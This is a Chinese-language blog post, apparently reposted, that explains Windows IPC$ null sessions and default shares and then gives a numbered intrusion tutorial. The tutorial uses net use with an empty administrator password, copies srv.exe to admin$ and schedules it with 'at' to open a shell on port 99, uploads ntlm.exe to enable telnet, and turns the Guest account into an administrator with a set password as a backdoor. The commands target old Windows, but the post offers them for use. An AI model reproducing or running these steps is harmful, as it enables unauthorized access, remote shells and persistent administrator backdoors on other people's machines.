zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    一 唠叨一下:

    网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.

    二 什么是ipc$

    IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
    利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空 的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
    我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认 共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
    所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访 问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

    三 相关命令

    1)建立空连接:
    net use \IPipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

    2)建立非空连接:
    net use \IPipc$ "用户名" /user:"密码" (同样有3个空格)

    3)映射默认共享:
    net use z: \IPc$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
    如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \IPc$

    4)删除一个ipc$连接
    net use \IPipc$ /del

    5)删除共享映射
    net use c: /del 删除映射的c盘,其他盘类推 
    net use * /del 删除全部,会有提示要求按y确认

    四 入侵教程

    1. C:>net use \127.0.0.1IPC$ "" /user:"admintitrators" 
    用户名是administrators,密码为"空"的IP地址,如果是打算攻击的话,就可以用这样的 命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入 administrators,命令即可成功完成。

    2. C:>copy srv.exe \127.0.0.1admin$ 
    先复制srv.exe上去(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、 d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

    3. C:>net time \127.0.0.1 
    查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

    4. C:>at \127.0.0.1 11:05 srv.exe 
    用at命令启动srv.exe吧(这里设置的时间要比主机时间快)

    5. C:>net time \127.0.0.1
    再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

    6. C:>telnet 127.0.0.1 99 
    这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的 Shell。
    虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

    7.C:>copy ntlm.exe \127.0.0.1admin$
    用Copy命令把ntlm.exe上传到主机上。

    8. C:WINNTsystem32>ntlm 
    输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出 现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

    9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!

    为了以防万一,我们再把guest激活加到管理组 
    10. C:>net user guest /active:yes 
    将对方的Guest用户激活

    11. C:>net user guest 1234 
    将Guest的密码改为1234,或者你要设定的密码

    12. C:>net localgroup administrators guest /add 
    将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

  • 相关阅读:
    LVM 逻辑卷管理
    运维自动化工具 Kickstart
    运维自动化工具 Cobbler
    Python 环境
    Zabbix Agent 自动、主动注册
    Zabbix Proxy 分布式监控
    PHP 性能优化之 PHP-FPM
    PHP 缓存插件之 Zend Opcache ( 取代 APC )
    Alternative PHP Cache ( APC )
    Tomcat ( 单机多 Tomcat 并存 )
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/11546970.html
Copyright © 2011-2022 走看看